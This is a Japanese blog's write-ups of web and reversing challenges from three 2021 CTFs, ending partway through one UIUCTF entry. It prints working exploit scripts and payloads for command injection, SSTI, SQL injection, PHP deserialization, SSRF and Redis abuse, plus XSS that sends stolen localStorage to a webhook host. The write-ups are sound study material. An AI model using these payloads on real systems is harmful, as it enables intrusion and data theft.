st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

RaRCTF 2021 writeup

8/7 - 8/10という日程で開催された。zer0ptsで参加して2位。2位の賞金に加えてSecure Storageでfirst bloodを取った賞品(猫型ランプ+α)ももらえるらしく嬉しい。

→ (9/9追記) 届いた。かわいい。


[Web 100] lemonthinker (395 solves)

OS Command Injection。

@app.route('/generate', methods=['POST'])
def upload():
    global clean
    if time.time() - clean > 60:
      os.system("rm static/images/*")
      clean = time.time()
    text = request.form.getlist('text')[0]
    text = text.replace("\"", "")
    filename = "".join(random.choices(chars,k=8)) + ".png"
    os.system(f"python3 generate.py {filename} \"{text}\"")
    return redirect(url_for('static', filename='images/' + filename), code=301)

$(cat /flag.txt|cut -c2-) みたいな感じで cut コマンドを使ってちまちまフラグを読み出せばよい。

f:id:st98:20210810063644p:plain

rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf}

[Web 150] Secure Uploader (137 solves)

Path Traversal。Burp Suiteなどで ///flag という名前のファイルをアップロードすればフラグが得られる。

f:id:st98:20210810064420p:plain

rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}

[Web 100] Fancy Button Generator (109 solves)

XSS botjavascript: スキームのURLも受け付けてくれる。javascript:location.href=['https://webhook.site/…?',localStorage.flag] というURLを報告するとフラグが得られた。

rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}

[Web 400] Microservices As A Service 1 (75 solves)

以下のように不必要に eval が呼ばれており、好きなPythonコードが実行できる。

@app.route('/arithmetic', methods=["POST"])
def arithmetic():
    if request.form.get('add'):
        r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('sub'):
        r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('div'):
        r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('mul'):
        r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    result = r.json()
    res = result.get('result')
    if not res:
        return str(result.get('error'))
    try:
        res_type = type(eval(res))
        if res_type is int or res_type is float:
            return str(res)
        else:
            return "Result is not a number"
    except NameError:
        return "Result is invalid"

ただし、/flag.txt を読み出そうにも外部との通信はできないし、コードからわかるように eval した結果が表示されることもない。でも、エラーが起きたかどうかはわかるので、その情報を使って1ビットずつフラグを読み出せばよい。

import urllib.parse
import requests

def query(n1, n2):
  r = requests.post('https://maas.rars.win/calculator', data={
    'mode': 'arithmetic',
    'add': '+',
    'n1': n1, 'n2': n2
  })

  t = r.text
  t = t[t.find(r'<pre style="border: 2px solid black">')+37:]
  t = t[:t.find('\n')]

  if 'DOCTYPE HTML PUBLIC' in t:
    raise Exception('??')

  return 'not a number' not in t

i = 0
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f"""(ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'""", '%23'):
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1
rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}

[Web 500] Microservices As A Service 2 (59 solves)

notes/renderrender_template_string が呼ばれており、bio というユーザ入力を引数としているためSSTIができる。

@app.route("/render", methods=["POST"])
def render_bio():
    data = request.json.get('data')
    if data is None:
        data = {}
    return render_template_string(request.json.get('bio'), data=data)

ただし、このAPIを直接呼ぶことはできない。以下のように表からアクセスできる app から /notes/profile にアクセスすることで間接的に呼び出される。

def render_bio(username, userdata):
    data = {"username": username,
            "mode": "bioget"}
    r = requests.post("http://notes:5000/useraction", data=data)
    try:
        r = requests.post("http://notes:5000/render", json={"bio": r.text, "data": userdata})
        return r.text
    except:
        return "Error in bio"

# ...

@app.route('/notes/profile', methods=["POST", "GET"])
def profile():
    username = session.get('notes-username')
    if not username:
        return redirect('/notes/register')
    uid = requests.get(f"http://notes:5000/getid/{username}").text
    if request.method == "GET":
        return render_template("profile.html",
                               bio=render_bio(username, userdata(username)),
                               userid=uid
                               )
    # ...

render_template_string に渡される bio の変更は以下のようなコードでなされる。よく見ると bio.replace の結果が bio に代入されていない。Pythonstr.replace は非破壊的であるから、結局 {} といった文字は bio から取り除かれない。

    elif mode == "bioadd":
        bio = request.form.get("bio")
        bio.replace(".", "").replace("_", "").\
            replace("{", "").replace("}", "").\
            replace("(", "").replace(")", "").\
            replace("|", "")

        bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'{{data["\g<1>"]}}', bio)
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        requests.post(f"http://redis_userdata:5000/bio/{port}", json={
            "bio": bio
        })
        return ""

{{url_for.__globals__['__builtins__'].open('/flag.txt').read()}}bio に設定するとフラグが得られた。

rarctf{wh4t_w4s_1_th1nk1ng..._60a4ee96}

[Web 600] Microservices As A Service 3 (35 solves)

ユーザ名が admin であり、かつユーザIDが 0 であるユーザにログインできればフラグが得られる。

@app.route("/login", methods=["POST"])
def login():
    user = request.json['username']
    password = request.json['password']
    entry = get_user(name=user)
    if entry:
        if entry[2] == password:
            data = {"uid": entry[0], "name": user}
            if user == "admin" and entry[0] == 0:
                data['flag'] = open("/flag.txt").read()
            return jsonify(data)
        else:
            return jsonify({"error": "Incorrect password"})
    else:
        return jsonify({"uid": add_user(user, password), "name": user})

ユーザ側からユーザIDを変更することはできない。パスワードについては表からアクセスできる app/manager/update で変更できるが、以下のようにJSONスキーマによって変更対象のユーザのIDが自身のID以上の数値であるかチェックされている。

JSONスキーマによるユーザ入力のチェック後に http://manager:5000/update という内部からだけアクセスできるAPIを叩いてユーザ情報を変更している。ここでPOSTするデータとして request.get_data() を与えているが、これはPOSTされたデータをそのまま返す関数であることに注意する。つまり、重複したキーを持つJSONが与えられたとしても、managerAPIを叩くときにはそのままそのJSONが与えられてしまう。

@app.route("/manager/update", methods=["POST"])
def manager_update():
    schema = {"type": "object",
              "properties": {
                  "id": {
                      "type": "number",
                      "minimum": int(session['managerid'])
                  },
                  "password": {
                      "type": "string",
                      "minLength": 10
                  }
              }}
    try:
        jsonschema.validate(request.json, schema)
    except jsonschema.exceptions.ValidationError:
        return jsonify({"error": f"Invalid data provided"})
    return jsonify(requests.post("http://manager:5000/update",
                                 data=request.get_data()).json())

manager 側の /update のコードを確認すると、以下のように与えられたJSONをさらに manager_updater に投げている。

@app.route("/update", methods=["POST"])
def update():
    return jsonify(requests.post("http://manager_updater:8080/",
                                 data=request.get_data()).json())

manager_updater はGoで書かれている。Python側ではユーザIDが 0 以外のものに、Go側では 0 に解釈されるようなJSONを投げれば admin のパスワードを変更できるのではないか。

以下のように複数の id キーを持つJSONを使うと、admin のパスワードを変更し admin としてログインすることができた。

import base64
import json
import uuid
import zlib
import requests

def parse_session(sess):
  compressed = False
  if sess[0] == '.':
    compressed = True
    sess = sess[1:]
  sess = base64.urlsafe_b64decode(sess.split('.')[0] + '==')
  if compressed:
    sess = zlib.decompress(sess)
  sess = json.loads(sess[:sess.find(b'}')+1])
  return sess

host = 'https://maas.rars.win/'

username = str(uuid.uuid4())
password = str(uuid.uuid4())

s = requests.Session()
s.post(f'{host}/manager/login', data={
  'username': username,
  'password': password
})

sess = parse_session(s.cookies['session'])
id = sess['managerid']
r = s.post(f'{host}/manager/update', data=f'{{"id":0,"id":{id},"password":"{password}"}}', headers={
  'content-type': 'application/json'
})
print(r.text)

r = requests.post(f'{host}/manager/login', data={
  'username': 'admin',
  'password': password
})
print(r.text)
rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}

[Web 650] MAAS 3.5: User Manager (32 solves)

Microservices As A Service 3と同じexploitでフラグが得られた。

rarctf{k33p_n3tw0rks_1s0l4t3d_lol_ef2b8ddc}

[Web 650] Secure Storage (17 solves)

securestorage.rars.winsecureenclave.rars.win というふたつのドメインがあり、前者のページが後者のページを iframe で埋め込んでいるという関係にある。フラグは secureenclave.rars.winlocalStorage に格納されている。

secureenclave.rars.win では以下のようなスクリプトが実行されており、securestorage.rars.win から postMessage でデータが届けばそれを表示するという処理を行っている。

/* hey... what are you doing here??? 😡 */

console.log("secure js loaded...");

const z=(s,i,t=window,y='.')=>s.includes(y)?z(s.substring(s.indexOf(y)+1),i,t[s.split(y).shift()]):t[s]=i;

var user = "";
const render = () => {
    document.getElementById("user").innerText = user;
    document.getElementById("message").innerText = localStorage.message || "None set";
    document.getElementById("message").style.color = localStorage.color || "black";
};

window.onmessage = (e) => {
    let { origin, data } = e;
    if(origin !== document.getElementById("site").innerText || !Array.isArray(data)) return;
    z(...data.map(d => `${d}`));
    render();
};

z という関数をリネームなどで読みやすくすると以下のようになる。この関数は z('a.b.c', 'poyo') というように第一引数としてプロパティ名、第二引数として値を受け取り、そのプロパティに値を代入する。今挙げた例だと a.b.c = 'poyo' とほぼ同じ。

function recursiveAssign(key, value, obj = window, delimiter = '.') {
  if (key.includes(delimiter)) {
    return recursiveAssign(
      key.substring(key.indexOf(delimiter) + 1),
      value,
      obj[key.split(delimiter)[0]]
    );
  }

  return obj[key] = value;
}

securestorage.rars.win からは本来であれば ['localStorage.message','hello'] のようなメッセージだけが送られ、操作されるプロパティは localStorage だけのはず。だが、securestorage.rars.win にはログイン時のflash messageでユーザ名をエスケープせず出力する脆弱性があるため、このXSSによって任意のオブジェクトのプロパティが操作できてしまう。

location.hrefjavascript: スキームのURLを代入してしまえばよさそうだが、残念ながら secureenclave.rars.win では default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com というCSPが有効になっているために実行されない。ではどうするかというと、securestorage.rars.winsecureenclave.rars.win の両方で document.domain に同じドメイン名を代入してページのオリジンを変えてしまえばよい。これなら securestorage.rars.win から secureenclave.rars.winlocalStorage の値が読み出せるはずだ。

以下のようなHTMLとJavaScriptを用意し、adminにアクセスさせるとフラグが得られた。

exp.html

<body>
  <form method="POST" action="https://securestorage.rars.win/api/register" id="form">
    <input type="text" name="user" id="user">
    <input type="text" name="pass" value="poyoyon">
  </form>
  <script src="index.js"></script>
</body>

index.js

const payload = `
<script>
a = ${Math.random()};
window.addEventListener('load', () => {
  document.domain='rars.win';
  let storage = document.getElementById("secure_storage");
  setTimeout(()=>{
    storage.contentWindow.postMessage(['document.domain', 'rars.win'], storage.src);
    setTimeout(() => {
      navigator.sendBeacon('https://webhook.site/…', storage.contentWindow.localStorage.message)
    }, 500)
  }, 500);
});
</script>
`;
window.addEventListener('load', () => {
  document.getElementById('user').value = payload;
  document.getElementById('form').submit();
});
rarctf{js_god?_the_wh0le_1nternet_1s_y0ur_d0main!!!_60739238}

[Web 550] MAAS 2.5: Notes (16 solves)

Microservices As A Service 2の続き。bio.replace の結果がちゃんと bio に代入されるようになり、ただ bio を変更するだけではSSTIでRCEに持ち込むことができなくなった。

このアプリでは redis_userdata というホストでユーザごとにポート番号を割り振って別々にRedisサーバを立て、好きなキーに好きな値を SET することができるようになっている。bioredis_userdata/tmp/(ポート番号).txt というファイルに保存されており、ただRedisサーバにデータを書き込むだけではSSTIには持ち込めない。

このアプリには MIGRATE コマンドで別のRedisサーバにデータをコピーできる keytransfer という機能もあるらしい。

redis_userdata の他にも redis_users というRedisサーバが立っているホストがあり、こちらではユーザ名に対応するポート番号が格納されている。keytransfer はデータのコピー先について、ポート番号だけでなくホスト名まで操作できるから、redis_users にもデータを書き込めてしまう。

    elif mode == "keytransfer":
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        red2 = redis.Redis(host="redis_userdata",
                           port=int(port))
        red2.migrate(request.form.get("host"),
                     request.form.get("port"),
                     [request.form.get("key")],
                     0, 1000,
                     copy=True, replace=True)
        return ""

ユーザ名に対応するポート番号の書き換えで何ができるだろうか。ソースコードを読んで悪用の方法を考える。ユーザの bio の表示では以下のように notes/useraction というAPIを叩いてデータを取得してきているが、

def render_bio(username, userdata):
    data = {"username": username,
            "mode": "bioget"}
    r = requests.post("http://notes:5000/useraction", data=data)
    try:
        r = requests.post("http://notes:5000/render", json={"bio": r.text, "data": userdata})
        return r.text
    except:
        return "Error in bio"

# ...

@app.route('/notes/profile', methods=["POST", "GET"])
def profile():
    username = session.get('notes-username')
    if not username:
        return redirect('/notes/register')
    uid = requests.get(f"http://notes:5000/getid/{username}").text
    if request.method == "GET":
        return render_template("profile.html",
                               bio=render_bio(username, userdata(username)),
                               userid=uid
                               )

notes 側では redis_users から取ってきたポート番号を無検証に http://redis_userdata:5000/getuser/{port} というURLに展開してHTTPリクエストを送っている。このため、例えばポート番号として数値でなく ../getuser/(適当なユーザのポート番号) が返ってくると、/bio/(ポート番号) の代わりに別の適当なユーザのデータが返ってきてしまう。

これなら適当なユーザのRedisサーバにSSTIのペイロードを仕込んでやることで、 str.replace によるフィルターを回避してSSTIができる。

    elif mode == "bioget":
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        r = requests.get(f"http://redis_userdata:5000/bio/{port}")
        return r.text

以下のexploitコードを実行するとフラグが得られた。

import re
import uuid
import requests

#host = 'http://localhost:5000/'
host = 'https://maas2.rars.win/'
#payload = '{{config}}'
payload = "{{url_for.__globals__['__builtins__'].open('/flag.txt').read()}}"

username = str(uuid.uuid4())
s1 = requests.Session()

# 1. register as (user_A)
r = s1.post(host + '/notes/register', data={
  'username': username
})
port = re.findall(r'Profile: (\d+)', r.text)[0]

# 2. register as ../getid/(user_A)
s2 = requests.Session()
s2.post(host + '/notes/register', data={
  'username': f'../getid/{username}'
})

# 3. set ../getid/(user_A)'s port as ../getuser/(user_A's port) using SSRF
s1.post(host + '/notes/profile', data={
  'mode': 'adddata',
  'key': f'../getid/{username}',
  'value': f'../getuser/{port}'
})
s1.post(host + '/notes/profile', data={
  'mode': 'keytransfer',
  'host': 'redis_users',
  'port': '6379',
  'key': f'../getid/{username}'
})

# 4. post SSTI payload as (user_A)'s entry
s1.post(host + '/notes/profile', data={
  'mode': 'adddata',
  'key': f'test',
  'value': payload
})

print(s2.get(host + '/notes/profile').text)
rarctf{.replace()_1s_n0t_1n_pl4c3...e8d54d13}

[Web 250] Electroplating (15 solves)

Rustで String を返す関数内にユーザ入力が挿入され実行できるが、実行時にはseccompのために read, write, close, mummap, sendto, exit, readlink, sigaltstack, futex, exit_group, getrandom の11個のシステムコールしか呼び出せないという制限がある。この制限の中で /flag.txt を読み出さなければならない。

Rustには include_str! というマクロがあり、これを使えばコンパイル時にファイルを文字列として読み込ませることができる。<templ>return String::from(include_str!("/flag.txt"));</templ> でフラグが得られた。

rarctf{D0n7_l3t-y0ur-5k1ll5-g0-rus7y!-24c55263}

[Rev 600] boring flag checker (23 solves)

Brainf*ckのリバースエンジニアリング問。私が問題を確認した時点でx0r19x91さんとnyankoさんによって prog.bin が既にBrainf*ckコードに変換されていた。

Brainf*ckコードを眺めていると、以下の画像の赤枠で囲った箇所ではメモリをクリアしていそうだなあとわかる。このメモリをクリアする箇所を削除すればどんな値がメモリに残るのか気になるところ。

f:id:st98:20210810095100p:plain

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa を入力した場合のメモリ:

0000:  01  01  00  EF  00  EF  FE  ED  FB  E6  30  02  ..........0.
000C:  F9  31  F1  2E  02  E8  31  EC  34  2E  F3  F7  .1....1.4...
0018:  F2  E8  2E  FD  02  F4  E8  34  1F  EF  2D  30  .......4..-0
0024:  F3  1B  3D  3B  F6  02  EF  2E  EB  40  02  FD  ..=;.....@..
0030:  2E  29  2A  30  2A  30  2A  2C  30  E4  00  00  .)*0*0*,0...

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb を入力した場合のメモリ:

0000:  01  01  00  F0  01  F0  FF  EE  FC  E7  31  03  ..........1.
000C:  FA  32  F2  2F  03  E9  32  ED  35  2F  F4  F8  .2./..2.5/..
0018:  F3  E9  2F  FE  03  F5  E9  35  20  F0  2E  31  ../....5...1
0024:  F4  1C  3E  3C  F7  03  F0  2F  EC  41  03  FE  ..><.../.A..
0030:  2F  2A  2B  31  2B  31  2B  2D  31  E5  00  00  /*+1+1+-1...

rarctf{bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb を入力した場合のメモリ:

0000:  01  01  00  00  00  00  00  00  00  00  31  03  ..........1.
000C:  FA  32  F2  2F  03  E9  32  ED  35  2F  F4  F8  .2./..2.5/..
0018:  F3  E9  2F  FE  03  F5  E9  35  20  F0  2E  31  ../....5...1
0024:  F4  1C  3E  3C  F7  03  F0  2F  EC  41  03  FE  ..><.../.A..
0030:  2F  2A  2B  31  2B  31  2B  2D  31  E5  00  00  /*+1+1+-1...

これらを見比べると、正解の文字が増えるほど0の数が増えていることがわかる。この性質を使えば1文字ずつフラグが特定できる。

import io

with open('poyo.bf', 'r') as f:
  code = f.read()

class Memory(object):
  def __init__(self):
    self.memory = [0 for _ in range(30000)]
    self.accessed = [0 for _ in range(30000)]

  def __getitem__(self, k):
    self.accessed[k] += 1
    return self.memory[k]

  def __setitem__(self, k, v):
    self.memory[k] = v

def run(code, inp):
  mem = Memory()
  p = 0
  i = 0
  inp = io.BytesIO(inp)

  out = ''
  cycle = 0

  while i < len(code):
    c = code[i]
    cycle += 1#

    if c == '+':
      mem[p] = (mem[p] + 1) % 256
    elif c == '-':
      mem[p] = (mem[p] - 1) % 256
    elif c == '>':
      p += 1
    elif c == '<':
      p -= 1
    elif c == '.':
      out += chr(mem[p])
    elif c == ',':
      tmp = inp.read(1)
      if len(tmp) == 0:
        tmp = b'\0'
      mem[p] = ord(tmp)
    elif c == '[':
      if mem[p] == 0:
        d = 1
        while d != 0 and i < len(code):
          i += 1
          c = code[i]
          cycle += 1#
          if c == '[':
            d += 1
          elif c == ']':
            d -= 1
    elif c == ']':
      if mem[p] != 0:
        d = 1
        while d != 0 and i >= 0:
          i -= 1
          c = code[i]
          cycle += 1#
          if c == '[':
            d -= 1
          elif c == ']':
            d += 1
    i += 1

  return {
    'out': out,
    'cycle': cycle,
    'mem': mem.memory,
    'freq': mem.accessed[:100]
  }

flag = [0x61 for _ in range(55)]
for i in range(len(flag)):
  ma, mc = 0, 0
  for c in range(0x20, 0x7f):
    flag[i] = c
    cnt = run(code, bytes(flag))['mem'].count(0)
    if cnt > ma:
      ma, mc = cnt, c
  flag[i] = mc
  print(bytes(flag))
rarctf{1_h0p3_y0u-3njoy3d_my-Br41nF$&k_r3v!_d387171751}

BSides Noida CTF 2021 writeup

8/7 - 8/8という日程で開催された。zer0ptsで参加して1位。

[Web 462] wowooo (37 solves)

ユーザ名を与えると事前に用意された文字列に展開され、unserialize される。その返り値の2番目の要素が V13tN4m_number_one であればフラグが得られる。

<?php
include 'flag.php';
function filter($string){
    $filter = '/flag/i';
    return preg_replace($filter,'flagcc',$string);
}
$username=$_GET['name'];
$pass="V13tN4m_number_one";
$pass="Fl4g_in_V13tN4m";
$ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}";

$authen = unserialize(filter($ser));

if($authen[1]==="V13tN4m_number_one "){
    echo $flag;
}
if (!isset($_GET['debug'])) {
    echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL;
} else {
    highlight_file( __FILE__);
}
?>
<!-- debug -->

なぜかユーザ名に含まれる flagflagcc に置換されているが、この置換はユーザ名をテンプレートの文字列に展開した後に行われている。このために展開時の strlen($username) と置換後のユーザ名の文字数とが違った値になってしまう。

例えば、ユーザ名が flagflagflagflag であった場合に最終的に unserialize される文字列は a:2:{i:0;s:32:"flagccflagccflagccflagccflagccflagccflagccflagcc";i:1;s:15:"Fl4g_in_V13tN4m";} になる。PHPserialize は文字列を s:(文字数):"(文字列)"; のようにシリアライズするが、この場合だと s:48:"…"; であるべきところが s:32:"…"; になってしまっており、正しく unserialize できない文字列になっている。

これをうまく使えば、unserialize されると2番目の要素が V13tN4m_number_one である配列になるような文字列を作ることもできる。flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}aaaaaaaaaaaaaa をユーザ名として投げるとフラグが得られた。

BSNoida{3z_ch4all_46481684185_!!!!!!@!}

[Web 465] freepoint (34 solves)

/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i という正規表現に引っかからないようなPHPコードを作る問題。

implode('',[chr(97),chr(98),chr(99)]) みたいな感じでフィルターを回避しつつ任意の文字列が作れるので、('passthru')('ls -la') みたいな感じでコマンドを実行する。

<?php
function encode($s) {
  $res = "implode('',[";

  $l = strlen($s);
  for ($i = 0; $i < $l; $i++) {
    $res .= 'chr(' . ord($s[$i]) . '),';
  }

  $res .= '])';
  return $res;
}

class BSides {
  function __construct($payload) {
    $this->note = $payload;
    $this->name = 'admin';
    $this->option = 'getFlag';
  }
}

echo 'http://ctf.freepoint.bsidesnoida.in/?ctf=' . urlencode(serialize(new Bsides(
  '(' . encode('passthru') . ')(' . encode('cat /home/*') . ')'
)));
BSNoida{Fre3_fl4g_f04_y0u_@@55361988!!!}

[Web 477] Baby Web Revenge (24 solves)

以下のような感じでSQLiがある。

    $channel_name = $_GET['chall_id'];
    $sql = "SELECT * FROM CTF WHERE id={$channel_name}";
    $results = $db->query($sql);

のだけれども、nginx側で以下のように chall_id というGETパラメータにフィルターがかけられてしまっている。

 if ( $arg_chall_id ~ [A-Za-z_.%]){
        return 500;
    }

PHPはGETパラメータの名前に . が含まれていた場合には自動的にそれを _ に変換するので、これを使えばフィルターを回避できる。

?chall.id=1/**/union/**/select/**/sql,2,3,4,5,6/**/from/**/sqlite_mastertherealflags テーブルの存在がわかるので、これを読み出すとフラグが得られる。

BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4_fr0m_4n_1nt3nd3d_s01ut10nxD}

[Web 493] Calculate (8 solves)

/[a-zA-BD-Z!@#%^&*:'\"|`~\\\\]|3|5|6|9/ という正規表現に引っかからず、また110文字以内の文字列であれば eval されるという問題。freepointがさらに厳しくなったような感じ。

まず正規表現について、これに引っかからないASCII内の文字は $()+,-./012478;<=>?C[]_{} だけ。UIUCTFのphpfuck_fixedと比べると優しく見えるが、110文字という文字数制限は厳しい。

nyankoさんが文字列の入った変数はインクリメントでき、これを使って C から様々な文字が作れることを発見していた。例えば、$s という変数に ABC という文字列が入っていた場合に $s をインクリメントすると、$sABD という文字列に変わる。

また、配列と文字列を文字列結合演算子で結合させようとすると、配列の方は Array という文字列に変換される。これを使えば ([].C)[1] から r という文字が作れる。

これらを組み合わせて、nyankoさんが $C=C.C;$C++;$C++;$C++;$C++;$C++;$C=$C.([].[])[2] というコードで CHr という文字列が作れることを見つけていた。

ただ、関数の呼び出しのために chr でいちいち関数名や引数になる文字列を組み立てていてはすぐに110文字を超えてしまう。この chr_GET という文字列を組み立てて適当な変数(例えば $_) に代入しておけば、可変変数という機能を使って ($$_[0])($$_[1]) という ($_GET[0])($_GET[1]) 相当のコードを作ることができる。これを使えば、呼び出したい関数があればGETパラメータにその名前と引数を入れるだけで呼び出せる。

import requests
payload = '$C=C.C,$C++,$C++,$C++,$C++,$C++,$C.=([].C)[2],$_=(_.$C(72-1).$C(70-1).$C(84)),($$_[0])($$_[1])'
r = requests.post('http://ctf.calculate.bsidesnoida.in/', data={
  'VietNam': payload
}, params={
  '0': 'exec',
  '1': 'cat /home/*'
})
print(r.text)
BSNoida{w0w_gr3at_Th4nk_y0u_f0r_j0in1ng_CTF_!!!!!!}

UIUCTF 2021 writeup

7/31 - 8/2という日程で開催された。zer0ptsで参加して10位。Web問がパズル要素多めで楽しかった。

[Web 50] wasmbaby (372 solves)

wasmファイルを読む…必要はなく、strings で一発。

$ strings -n 8 "index.wasm" | grep uiu
uiuctf{welcome_to_wasm_e3c3bdd1}

[Web 112] ponydb (49 solves)

使われているRDBMSMySQL。以下のように favorites というカラムは型が varchar(256) なので、256文字以上の文字列を突っ込めば256文字に切り詰められる。

try: cursor.execute('CREATE TABLE `ponies` (`name` varchar(64), `bio` varchar(256), '
                    '`image` varchar(256), `favorites` varchar(256), `session` varchar(64))')

切り詰めを防止するために以下のように文字列の長さはちゃんとチェックされている。と思いきや、よく見ると favorite_keyfavorite_value では、64文字を超えても他のデータのように error という変数に文字列が代入されていない。このせいで favorite_keyfavorite_value に65文字以上の文字列を突っ込んでもスルーされてしまう。

   image = request.form['image']
    if "'" in image: error = 'Image URL may not contain single quote'
    if len(image) > 256: error = 'Image URL too long'

    favorite_key = request.form['favorite_key']
    if "'" in favorite_key: error = 'Custom favorite name may not contain single quote'
    if len(favorite_key) > 64: 'Custom favorite name too long'

    favorite_value = request.form['favorite_value']
    if "'" in favorite_value: error = 'Custom favorite may not contain single quote'
    if len(favorite_value) > 64: 'Custom favorite too long'

...

    if error: flash(error)

favorite_keyfavorite_value は最終的に以下のような形でJSONとして格納される。number の値を 1337 に変えることができればフラグが得られるので、favorite_keyfavorite_value より後ろにある number が切り捨てられるようにしたい。適当にスペースで文字数を調整して、切り詰められた後のJSON{"(favorite_key)":"","number":1337} になるような favorite_value を生成する。

       cur.execute(f"INSERT INTO `ponies` VALUES ('{name}', '{bio}', '{image}', " + \
                    f"'{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
                    f"\"word\":\"{word.lower()}\",\"number\":{number}}}', " + \
                    f"'{session['id']}')")

favorite_keyafavorite_value","number":1337}(スペースが234個) を入力するとフラグが得られた。

uiuctf{My_l33tle_p0ny_5fb234}

[Web 417] miniaturehorsedb (13 solves)

ponydbに以下のような変更が加えられた。今度は favorite_keyfavorite_value が64文字を超えればちゃんと弾かれるようになった。

$ diff -u old.py new.py
--- old.py      2021-06-19 05:45:17.000000000 +0900
+++ new.py      2021-08-01 00:13:34.000000000 +0900
@@ -71,11 +71,11 @@

        favorite_key = request.form['favorite_key']
        if "'" in favorite_key: error = 'Custom favorite name may not contain single quote'
-       if len(favorite_key) > 64: 'Custom favorite name too long'
+       if len(favorite_key) > 64: error = 'Custom favorite name too long'

        favorite_value = request.form['favorite_value']
        if "'" in favorite_value: error = 'Custom favorite may not contain single quote'
-       if len(favorite_value) > 64: 'Custom favorite too long'
+       if len(favorite_value) > 64: error = 'Custom favorite too long'

        word = request.form['word']
        if "'" in word: error = 'Word may not contain single quote'

文字数のチェックでは len(favorite_key) が使われているが、レコードの挿入時には favorite_key.lower()str.lower() によって小文字化されていることに注目して、nyankoさんが len('İ') が1なのに対して len('İ'.lower()) は2であることを見つけていた。

これを使えば、保存時に str.lower() に通される favorite_keyword にいっぱい İ を入れてやることで、256文字への切り詰めでそれらのキーより後ろにある number を無視させることができるはず。以下のように入力するとフラグが得られた。

favorite_key: İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ
favorite_value: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","number":1337,"a":"a
word: İİİİİİİİİİİİİİİİİİİİİİİİİ"}
uiuctf{wh0ops_th1s_on3_was_harder_r1ght_9fa2b}

[Web 483] essveegee (4 solves)

SVGをアップロードすると /app/sessions/(セッションID)/uploads/(SVGのID).svg に保存される。SVGのIDをadminに報告するとadminがPlaywrightで file:///app/… を見に行く。SVGならJavaScriptが実行できるのではないかと思ってしまうが、以下のようにJavaScriptの実行は無効化されてしまっている。

    const context = await browser.newContext({
        javaScriptEnabled: false
    })

以下のコードからわかるように、フラグは /app/sessions/(セッションID)/flag/a/0/b/f/…/flag.txt のようなランダムなパスに保存され、またフラグの保存されるディレクトリはadminに報告する度に変更される。

    // move the flag to a super secret directory
    try {
        fs.rmdirSync(`${SESSION_DIR}/${req.sessionID}/flag`, { recursive: true })
    } catch { }
    try {
        const flagPath = `${SESSION_DIR}/${req.sessionID}/flag/${crypto.randomBytes(5).toString('hex').split('').join('/')}`
        fs.mkdirSync(flagPath, { recursive: true })
        fs.writeFileSync(`${flagPath}/flag.txt`, process.env.FLAG ?? 'flag{test_flag}')
    } catch { }

JavaScriptもなしにどうやってフラグの保存されているディレクトリを特定すればよいのだろうかと悩んでいたが、しばらく考えて以下のように object 要素とfallback contentを組み合わせれば、外側の object 要素の読み込みが失敗した(つまり、そのディレクトリが存在しなかった)際にfallback contentの object 要素によって http://localhost:8000?… へのHTTPリクエストが発生するから、そのHTTPリクエストが発生したかどうかによってディレクトリの存在が確認できるという方法を思いついた。

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <object width="50" height="50" data="../flag/0">
        <object data="http://localhost:8000?0"></object>
      </object>
      <object width="50" height="50" data="../flag/1">
        <object data="http://localhost:8000?1"></object>
      </object>
      ...
      <object width="50" height="50" data="../flag/f">
        <object data="http://localhost:8000?f"></object>
      </object>
    </body>
  </foreignObject>
</svg>

ただし、この方法だけではせいぜい数階層分しか特定できない。フラグを得るには10階層分を特定する必要があるが、ひとつのSVGファイルで10階層分の特定は非現実的だし、複数のSVGファイルをアップロードして複数回の報告をしようとすればフラグのパスは変わってしまう。

iframe で適当なWebサーバを開かせて、そちらにフラグのあるディレクトリを特定するためのHTMLを動的に生成させるようにしても、ローカルファイルを読み込もうとしたら Not allowed to load local と怒られてしまう。なんとかしてローカルで完結させなければならない。

